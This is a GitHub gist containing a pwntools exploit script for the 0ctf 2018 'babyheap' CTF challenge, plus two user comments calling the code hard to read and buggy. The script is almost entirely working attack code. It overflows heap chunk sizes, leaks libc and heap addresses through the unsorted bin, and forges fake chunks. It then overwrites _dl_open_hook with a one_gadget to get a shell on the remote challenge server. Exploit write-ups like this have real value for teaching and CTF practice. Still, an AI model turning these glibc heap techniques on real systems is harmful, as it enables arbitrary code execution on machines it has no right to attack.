Skip to content

Instantly share code, notes, and snippets.

@yannayl
Created April 2, 2018 15:53
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save yannayl/cbe1169c1f330a32cf165c053b2540c0 to your computer and use it in GitHub Desktop.
Save yannayl/cbe1169c1f330a32cf165c053b2540c0 to your computer and use it in GitHub Desktop.
0ctf 2018 babyheap challenge exploit
from pwn import *
context.bits = 64
#libc = ELF('./libc-2.23.so')
libc = ELF('./libc-2.24.so')
main = ELF('./babyheap.dbg')
#main = ELF('./babyheap')
#dbg_file = './libc-2.23.debug'
def gdb_load_symbols_cmd(sym_file, elf, base):
sec_str = []
for s in elf.sections:
if not s.name or not s.header.sh_addr:
continue
sec_str.append('-s {} 0x{:x}'.format(s.name, base + s.header.sh_addr))
text_addr = elf.get_section_by_name('.text').header.sh_addr + base
return 'add-symbol-file {} 0x{:x} {} \n'.format(sym_file, text_addr, ' '.join(sec_str))
def csize(n):
n += 8
if n % 0x10:
n += 0x10 - (n % 0x10)
return max(n, 0x20)
local = True
local = False
if local:
# r = main.process(env={'LD_PRELOAD' : libc.path}, aslr=False)
r = main.process()
#r = main.process(env={'LD_PRELOAD' : libc.path})
else:
SERVER = "202.120.7.204"
PORT = 127
r = remote(SERVER, PORT)
allocs = {}
def menu(sel):
r.sendlineafter('Command: ', str(sel))
def alloc(size):
idx = min(filter(lambda x: x not in allocs.keys(), xrange(15)))
success('alloc {:d}: {:d} ({:#x})'.format(idx, size, csize(size)))
allocs[idx] = size
menu(1)
r.sendlineafter('Size: ', str(size))
def update(idx, content):
size = len(content)
success('update {:d}: {:d}'.format(idx, size))
if size > allocs[idx]:
info('overflow {:d} with {:#x}'.format(idx, ord(content[-1])))
menu(2)
r.sendlineafter("Index: ", str(idx))
r.sendlineafter('Size: ', str(size))
r.recvuntil('Content: ')
r.send(content)
def delete(idx):
success('delete {:d} ({:#x})'.format(idx, csize(allocs[idx])))
del allocs[idx]
menu(3)
r.sendlineafter("Index: ", str(idx))
def view(idx):
success('view {:d} ({:#x})'.format(idx, csize(allocs[idx])))
menu(4)
r.sendlineafter("Index: ", str(idx))
content = r.recvuntil('1. ', drop=True)
index, chunk = content.split(': ')
chunk = chunk[:-1]
index = index.split('[')[1].split(']')[0]
success('chunk[{}]:\n{}'.format(index, hexdump(chunk)))
return chunk
db = de_bruijn()
def cg(n):
return ''.join([next(db) for _ in xrange(n)])
#context.log_level = 'DEBUG'
alloc(0x58)
update(0, cg(0x58))
alloc(0x58)
update(1, cg(0x58))
alloc(0x58)
update(2, cg(0x58).replace('eaacfaac', p64(0x21)).replace('maacnaac', p64(0x21)))
alloc(0x58)
update(3, cg(0x58))
alloc(0x58)
update(4, cg(0x58))
alloc(0x58)
update(5, cg(0x58).replace('uaaevaae', p64(0x21)).replace('daafeaaf', p64(0x21)))
alloc(0x58)
update(6, cg(0x58).replace('uaaevaae', p64(0x21)).replace('daafeaaf', p64(0x21)))
alloc(0x58)
update(7, cg(0x58).replace('uaaevaae', p64(0x21)).replace('daafeaaf', p64(0x21)))
update(0, cyclic(0x58) + '\x91')
delete(1)
alloc(0x58)
update(3, cyclic(0x58) + '\x91')
delete(4)
unsorted_chunk = view(2)
unsorted_bin = u64(unsorted_chunk[:8])
info("unsorted_bin: {:#x}".format(unsorted_bin))
UNSORTED_BIN_OFFSET = 0x3c4b78 ## 2.23
UNSORTED_BIN_OFFSET = 0x399b58 ## 2.24
libc.address = unsorted_bin - UNSORTED_BIN_OFFSET
info("libc base: {:#x}".format(libc.address))
heap_leak = u64(unsorted_chunk[8:16])
info("heap leak: {:#x}".format(heap_leak))
fake_chunks = heap_leak + 0x70
update(2, fit({8:fake_chunks}))
update(5, fit({
8:0x401, 0x18:fake_chunks + 0x30,
0x38:0x31, 0x48:fake_chunks + 0x60}))
update(6, fit({
8:0x421, 0x18:fake_chunks + 0x90,
0x38:0x31, 0x48:fake_chunks + 0xc0}))
alloc(0x28)
alloc(0x28)
dl_open_hook = libc.symbols['_dl_open_hook']
update(5, fit({0x8:0x401, 0x18:dl_open_hook - 0x10, 0x28:dl_open_hook - 0x20}))
ONE_GADGET = 0xd695f + libc.address
#ONE_GADGET = next(libc.search(asm("loop: jmp loop")))
#gdb.attach(r,
## gdb_load_symbols_cmd(dbg_file, libc, r.libs()[libc.path]) + """
## set substitute-path /build/glibc-bfm8X4/ /usr/src/glibc
### break malloc_printerr
### break _int_malloc
#"""
#b __libc_dlopen_mode
#b __libc_dlsym
#c
#"""
#)
alloc(0x28)
update(6, flat(libc.symbols['__libc_dlsym'] + 4, libc.address + 0x149E04, ONE_GADGET))
alloc(1)
#context.log_level = 'DEBUG'
r.interactive()
@sw33tgum
Copy link

why is your wp so hard to read? and in 97 line you repeat cg function three times, it was wrong!

@sw33tgum
Copy link

waste my time to debug,trash code

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment